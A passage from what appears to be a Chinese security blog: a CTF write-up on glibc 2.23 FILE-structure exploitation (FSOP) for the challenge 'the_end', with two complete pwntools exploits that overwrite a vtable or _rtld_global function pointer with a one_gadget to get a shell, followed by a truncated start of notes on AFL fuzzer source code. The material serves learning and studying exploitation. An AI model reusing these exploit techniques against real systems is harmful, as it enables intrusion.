class="string">"_IO_read_ptr:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_read_ptr)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_read_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_read_end)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_read_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_read_base)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_write_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_write_base)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_write_ptr:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_write_ptr)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_write_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_write_end)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_buf_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_buf_base)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_buf_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_buf_end)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_save_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_save_base)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_backup_base:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_backup_base)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_IO_save_end:%p\n"</span>,*(<span class="keyword">char</span>**)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_IO_save_end)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_markers:%p\n"</span>,*(struct _IO_marker **)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_markers)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_chain:%p\n"</span>,*(struct _IO_FILE **)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_chain)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_fileno:%#x\n"</span>,*(<span class="keyword">int</span>*)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_fileno)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_flags2:%#x\n"</span>,*(<span class="keyword">int</span>*)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_flags2)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_old_offset:%#x\n"</span>,*(_IO_off_t *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_old_offset)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_cur_column:%#x\n"</span>,*(<span class="keyword">unsigned</span> short *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_cur_column)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_vtable_offset:%#x\n"</span>,*(<span class="keyword">signed</span> <span class="keyword">char</span> *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_vtable_offset)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_shortbuf:%#x\n"</span>,*(<span class="keyword">char</span> *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_shortbuf)));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_lock:%#x\n\n"</span>,*(<span class="keyword">unsigned</span> <span class="keyword">int</span>*)(_IO_lock_t *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_lock)));</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"vatable*:%p\n\n"</span>,*(<span class="keyword">unsigned</span> <span class="keyword">int</span> **)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+<span class="keyword">sizeof</span>(_IO_FILE)));</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's see what FILE* have(x64):\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The fopen will malloc a chunk to store the FILE structure and return a ptr to the structure chunk"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's do fopen\n"</span>);</span><br><span class="line"> FILE *f=fopen(<span class="string">"test.txt"</span>,<span class="string">"r+"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And we can see what exactly the structure have at the beginning:\n"</span>);</span><br><span class="line"> printFILE(f);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Then we read something from the file(0x20)\n"</span>);</span><br><span class="line"> <span class="keyword">char</span> <span class="built_in">buffer</span>[<span class="number">0x30</span>]={<span class="number">0</span>};</span><br><span class="line"> fread(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="number">0x20</span>,f);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"buffer<%s><%#x>\n"</span>,<span class="built_in">buffer</span>,<span class="built_in">strlen</span>(<span class="built_in">buffer</span>));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line"> printFILE(f);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">memset</span>(<span class="built_in">buffer</span>,<span class="number">0</span>,<span class="number">0x30</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(<span class="built_in">buffer</span>,<span class="string">"bbbbbbbbbbbbbbbb"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Then we write something to the file('b'*0x10)\n"</span>);</span><br><span class="line"> fwrite(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="built_in">strlen</span>(<span class="built_in">buffer</span>),f);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line"> printFILE(f);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Try fflush\n"</span>);</span><br><span class="line"> fflush(f);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line"> printFILE(f);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">memset</span>(<span class="built_in">buffer</span>,<span class="number">0</span>,<span class="number">0x30</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Read again(0x20)\n"</span>);</span><br><span class="line"> fread(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="number">0x20</span>,f);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"buffer<%s><%#x>\n"</span>,<span class="built_in">buffer</span>,<span class="built_in">strlen</span>(<span class="built_in">buffer</span>));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line"> printFILE(f);</span><br><span class="line"> </span><br><span class="line"> <span class="built_in">memset</span>(<span class="built_in">buffer</span>,<span class="string">'*'</span>,<span class="number">0x30</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Write again('*'*0x20)\n"</span>);</span><br><span class="line"> fwrite(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="number">0x20</span>,f);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line"> printFILE(f);</span><br><span class="line"> </span><br><span class="line"> fflush(f);</span><br><span class="line"> </span><br><span class="line"> fclose(f);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like(Use after free):\n"</span>);</span><br><span class="line"> printFILE(f);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>其中最主要的大概是fopen时malloc了一个0x230的chunk来存放结构体,然后第一次调用fread时分配了一个0x1000的文件缓冲区,第一次会把文件的全部内容都读到这个缓冲区里面(正确与否有待深究,自己看来暂时是这样)</p>
<p><img src="/2020/02/25/FSOP-the-end/1582612886398.png" alt="1582612886398"></p>
<p>_chain域的链接此时结构大概是:<code>_IO_list_all</code>-><code>f</code>-><code>_IO_2_1_stderr_</code>-><code>_IO_2_1_stdout_</code>-><code>_IO_2_1_stdin_</code>->NULL</p>
<p>其中<code>_IO_list_all</code>是一个变量,存储着指向f结构体的指针(以上图为例就是<code>0x603010</code>),f在fopen操作时初始化的FILE*就被链入了这个链表</p>
<p>再就是<code>fclose</code>会直接把对应的两个chunk一起释放了,释放顺序是先释放文件缓冲区再释放结构体chunk</p>
<h1 id="Hijack"><a href="#Hijack" class="headerlink" title="Hijack"></a>Hijack</h1><p>至于vtable在<code>_IO_FILE_plus</code>中的偏移量,摘自wiki就是:在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8(wiki)</p>
<p>如果我们伪造一个vtable,然后修改对应FILE结构体的vtable指针指向我们伪造的vtable,就可以达到劫持程序的目的(不得不说vtable大法好啊23333)</p>
<p>目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用(wiki)</p>
<p>vatble对应的段属性如下所示,在不可写段:</p>
<p><img src="/2020/02/25/FSOP-the-end/1582618757197.png" alt="1582618757197"></p>
<p>(wiki上面关于修改vtable的描述已经很详细了,这里不再赘述,主要是以记笔记为主)</p>
<p>因为 vtable 中的函数调用时会把对应的<code>_IO_FILE_plus</code>指针作为第一个参数传递,因此这里我们把 “sh” 写入<code>_IO_FILE_plus</code> 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)<br>(或者直接试着填<code>one_gadget</code>)</p>
<h1 id="leak"><a href="#leak" class="headerlink" title="leak"></a>leak</h1><p>(来自raycp师傅的博客)</p>
<p>控制<code>stdout</code>结构体满足以下条件实现任意泄露:</p>
<ul>
<li><code>_IO_write_base</code>指向想要泄露的地方。</li>
<li><code>_IO_write_ptr</code>指向泄露结束的地址。</li>
<li><code>_IO_read_end</code>等于<code>_IO_write_base</code>以绕过多余的代码。 满足这三个条件,可实现任意读。当然不包含结构体里的<code>_flags</code>字段的伪造,该字段都从原来的结构体里面复制过来,所以就没去分析该如何构造了。</li>
</ul>
<h1 id="Arbitrary-write"><a href="#Arbitrary-write" class="headerlink" title="Arbitrary write"></a>Arbitrary write</h1><p>(来自raycp师傅的博客)</p>
<p>当<code>_IO_write_end</code> 大于<code>_IO_write_ptr</code>时,<code>memcpy</code>就会调用</p>
<p>只需要将<code>_IO_write_ptr</code>指向需要写的地址,<code>_IO_write_end</code>指向结束位置即可</p>
<p>有了任意读与任意写之后,具体实现就是使用任意读泄露libc地址,然后用任意写将<code>one gadget</code>写到<code>malloc_hook</code>中,然后利用<code>%n</code>报错或者是较大的字符打印来触发malloc函数</p>
<h1 id="the-end"><a href="#the-end" class="headerlink" title="the_end"></a>the_end</h1><p>只看概念当然不代表会用了,肯定要写个题印象才深23333</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p><img src="/2020/02/25/FSOP-the-end/1582615573201.png" alt="1582615573201"></p>
<p>程序逻辑非常简单,就是给了一个libc地址,然后任意地址写5次,一次一字节,但是程序开启了PIE和Full RELRO,无法改写程序段的内容,这里我由于是第一次写FILE类型的题,所以就参考了师傅们的WP学了很多(看完的感触就是挖洞果然撸源码是王道啊….)</p>
<p> 当然还有从各路师傅那听来的<a href="http://blog.eonew.cn/archives/1173" target="_blank" rel="noopener">Ex师傅的博客</a>,真的学到了不少东西</p>
<h2 id="Exploit1"><a href="#Exploit1" class="headerlink" title="Exploit1"></a>Exploit1</h2><p>第一种办法是修改stdin/stdout/stderr任一FILE的vtable指针指向我们可控的区域,由于ubuntu libc2.23存放vtable的段不可写,所以不能直接改vtable。改指针的时候也特别巧妙,改的是指针第二个字节,所以可以在可写的段再去找合适的偏移,当然这里的解法都是参考raycp师傅学的新姿势,所以更清晰明了的解释就推荐去看原博主的文了</p>
<p>这个方法里面一共改了三处,5次:<br>第一处:stdin/stdout/stderr任一FILE的 <code>_IO_write_ptr</code>,使其大于<code>_IO_write_base</code><br>第二处:对应vtable指针第二字节,改写的地址对应偏移需要有libc地址<br>第三处:对应偏移处有libc地址,修改低三字节</p>
<p>可能自己接触比较新的就是在libc找合适的地方去改地址<br>我用的命令是 search -p 0x7fxxxx -w,在GDB里面可以直接找到可写的而且有这个地址的内存,然后通过我们需要的偏移比对哪个地址是我们需要的,因为vtable里面是存在偏移的,如果实在是找不到可能就失败了,当然找到的概率还是很大的,毕竟师傅们的利用都这么多了XD</p>
<p>ps:原来这个就是FSOP,开始还以为FSOP是更深一点的知识,然后点开wiki的FSOP之后发现就是这个23333,一举两得?</p>
<h3 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./the_end'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line"> log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'----->'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">writeByte</span><span class="params">(address,Byte)</span>:</span></span><br><span class="line"> p.send(p64(address))</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"> p.send(Byte)</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'here is a gift '</span>)</span><br><span class="line">libc_base=int(p.recv(len(<span class="string">'0x7f4ec6b9d230'</span>)),<span class="number">16</span>)-libc.symbols[<span class="string">'sleep'</span>]</span><br><span class="line">loginfo(<span class="string">'libc_base'</span>,libc_base)</span><br><span class="line"><span class="string">'''stdout</span></span><br><span class="line"><span class="string">stdout_IO_write_ptr=0x3c5648</span></span><br><span class="line"><span class="string">stdout_vtable_off=0x3c56f8</span></span><br><span class="line"><span class="string">address_off=0x3c53e0</span></span><br><span class="line"><span class="string">func_off=0x3c53f8</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">stdin_IO_write_ptr=<span class="number">0x3c4908</span></span><br><span class="line">stdin_vtable_off=<span class="number">0x3c49b8</span></span><br><span class="line">address_off=<span class="number">0x3c53e0</span></span><br><span class="line">func_off=<span class="number">0x3c53f8</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(p,'brva 0x950')</span></span><br><span class="line">writeByte(stdin_IO_write_ptr+libc_base,<span class="string">'\xff'</span>)</span><br><span class="line">off=address_off+libc_base</span><br><span class="line">off=(off>><span class="number">8</span>)&<span class="number">0xff</span></span><br><span class="line">off=chr(off)</span><br><span class="line">writeByte(stdin_vtable_off+libc_base+<span class="number">1</span>,off)</span><br><span class="line">one_off=<span class="number">0xf1147</span>+libc_base</span><br><span class="line">one_off1=chr(one_off&<span class="number">0xff</span>)</span><br><span class="line">one_off2=chr((one_off&<span class="number">0xff00</span>)>><span class="number">8</span>)</span><br><span class="line">one_off3=chr((one_off&<span class="number">0xff0000</span>)>><span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">writeByte(func_off+libc_base,one_off1)</span><br><span class="line">writeByte(func_off+libc_base+<span class="number">1</span>,one_off2)</span><br><span class="line">writeByte(func_off+libc_base+<span class="number">2</span>,one_off3)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
<h2 id="Exploit2"><a href="#Exploit2" class="headerlink" title="Exploit2"></a>Exploit2</h2><p>第二种方法真的是让我感受到了函数指针的伟大23333,简直是Control the ptr ,control the world,这些利用都太奇妙了,再就是源码大法好,以后一定要多看看源码</p>
<p>这里是直接修改的<code>_rtld_global._dl_rtld_lock_recursive</code>这个函数指针….甚至是直接修改地址第三位就可以了…真的tql,被师傅们强大到,以后菜鸡一定多看看源码</p>
<p>直接放exp吧都没什么好写的了23333</p>
<h3 id="完整exp"><a href="#完整exp" class="headerlink" title="完整exp"></a>完整exp</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./the_end'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line"> log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'----->'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">writeByte</span><span class="params">(address,Byte)</span>:</span></span><br><span class="line"> p.send(p64(address))</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"> p.send(Byte)</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'here is a gift '</span>)</span><br><span class="line">libc_base=int(p.recv(len(<span class="string">'0x7f4ec6b9d230'</span>)),<span class="number">16</span>)-libc.symbols[<span class="string">'sleep'</span>]</span><br><span class="line">loginfo(<span class="string">'libc_base'</span>,libc_base)</span><br><span class="line"></span><br><span class="line">ptr_off_set=<span class="number">0x5f0f48</span></span><br><span class="line">one_gadget=<span class="number">0xf02a4</span>+libc_base</span><br><span class="line">off1=one_gadget&<span class="number">0xff</span></span><br><span class="line">off2=(one_gadget&<span class="number">0xff00</span>)>><span class="number">8</span></span><br><span class="line">off3=(one_gadget&<span class="number">0xff0000</span>)>><span class="number">16</span></span><br><span class="line"><span class="comment">#gdb.attach(p,'brva 0x950')</span></span><br><span class="line">writeByte(libc_base+ptr_off_set,chr(off1))</span><br><span class="line">writeByte(libc_base+ptr_off_set,chr(off1))</span><br><span class="line">writeByte(libc_base+ptr_off_set,chr(off1))</span><br><span class="line">writeByte(libc_base+ptr_off_set+<span class="number">1</span>,chr(off2))</span><br><span class="line">writeByte(libc_base+ptr_off_set+<span class="number">2</span>,chr(off3))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>pwn</tag>
</tags>
</entry>
<entry>
<title>alf-fuzz source code(partly)</title>
<url>/2021/02/05/alf-fuzz-source-code-partly/</url>
<content><![CDATA[<p>照着<a href="https://xz.aliyun.com/t/4314" target="_blank" rel="noopener">这篇博客</a>先把fuzz的门入了</p>
<h1 id="AFL源码粗略分析笔记"><a href="#AFL源码粗略分析笔记" class="headerlink" title="AFL源码粗略分析笔记"></a>AFL源码粗略分析笔记</h1><p>我是从<a href="https://xz.aliyun.com/t/4628" target="_blank" rel="noopener">这篇</a>和<a href="https://www.anquanke.com/post/id/201760" target="_blank" rel="noopener">这篇</a>开始看的,具体概念这两篇文章也写的很清楚了,下面只是记一些粗略的笔记</p>
<h2 id="afl-gcc-c"><a href="#afl-gcc-c" class="headerlink" title="afl-gcc.c"></a>afl-gcc.c</h2><p>afl-gcc主要是gcc的一个封装(wrapper),main中主要执行这三个函数:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">find_as(argv[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line">edit_params(argc, argv);</span><br><span class="line"></span><br><span class="line">execvp(cc_params[<span class="number">0</span>], (<span class="keyword">char</span>**)cc_params);</span><br></pre></td></tr></table></figure>
<h3 id="find-as:"><a href="#find-as:" class="headerlink" title="find_as:"></a>find_as:</h3><p>这个函数的作用是找到对应的编译器</p>
<h3 id="edit-params:"><a href="#edit-params:" class="headerlink" title="edit_params:"></a>edit_params:</h3><p>主要是对编译参数做一些设置,用<code>-B</code>指定了编译汇编器等,主要是为了插桩</p>
<p><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/20190330215605-8fcb26f2-52f3-1.png" alt="img"></p>
<h3 id="execvp:"><a href="#execvp:" class="headerlink" title="execvp:"></a>execvp:</h3><p>用处理之后的编译参数进行源码编译</p>
<h2 id="afl-as-c和afl-as-h"><a href="#afl-as-c和afl-as-h" class="headerlink" title="afl-as.c和afl-as.h"></a>afl-as.c和afl-as.h</h2><p>就是这里进行的插桩,可以看到编译出来的代码多了一些插入的东西,比如<code>__afl_maybe_log</code></p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210127135753497.png" alt="image-20210127135753497" style="zoom:50%;">
<p>afl-as.c中的关键函数<code>add_instrumentation</code>,使用fprintf将插桩用的代码插入,用来统计覆盖率,这里大致看一下插桩的逻辑</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> ( !pass_thru && !skip_intel && !skip_app && !skip_csect <span class="comment">//这四个变量为1时跳过对应的插桩,具体看后面的分析</span></span><br><span class="line"> && instr_ok && instrument_next && <span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'\t'</span> && <span class="built_in">isalpha</span>(<span class="built_in">line</span>[<span class="number">1</span>])<span class="comment">//这里line[0]和isalpha应该是对应汇编文件的格式判断插入的位置,没有深入研究,instr_ok和instrument_next看后面的分析</span></span><br><span class="line"> ) </span><br><span class="line"> {</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));<span class="comment">//插桩写入输出文件,R(MAP_SIZE)的作用是提供一个随机数标识插桩点,在后面分析trampoline_fmt_32会写到</span></span><br><span class="line"> instrument_next = <span class="number">0</span>;</span><br><span class="line"> ins_lines++;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fputs</span>(<span class="built_in">line</span>, outf);<span class="comment">//原来的代码再写入输出文件</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//....(一些代码)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment"> All right, this is where the actual fun begins. For one, we only want to</span></span><br><span class="line"><span class="comment"> instrument the .text section. So, let's keep track of that in processed</span></span><br><span class="line"><span class="comment"> files - and let's set instr_ok accordingly. </span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'\t'</span> && <span class="built_in">line</span>[<span class="number">1</span>] == <span class="string">'.'</span>) <span class="comment">//这个if分值就和注释写的一样,为了只在代码段进行插入,自己不习惯太乱的代码格式就自己稍微改了改了排版</span></span><br><span class="line"> {</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* OpenBSD puts jump tables directly inline with the code, which is</span></span><br><span class="line"><span class="comment"> a bit annoying. They use a specific format of p2align directives</span></span><br><span class="line"><span class="comment"> around them, so we use that as a signal. */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!clang_mode && instr_ok && !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"p2align "</span>, <span class="number">8</span>) </span><br><span class="line"> && <span class="built_in">isdigit</span>(<span class="built_in">line</span>[<span class="number">10</span>]) && <span class="built_in">line</span>[<span class="number">11</span>] == <span class="string">'\n'</span>) skip_next_label = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"text\n"</span>, <span class="number">5</span>) ||</span><br><span class="line"> !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span 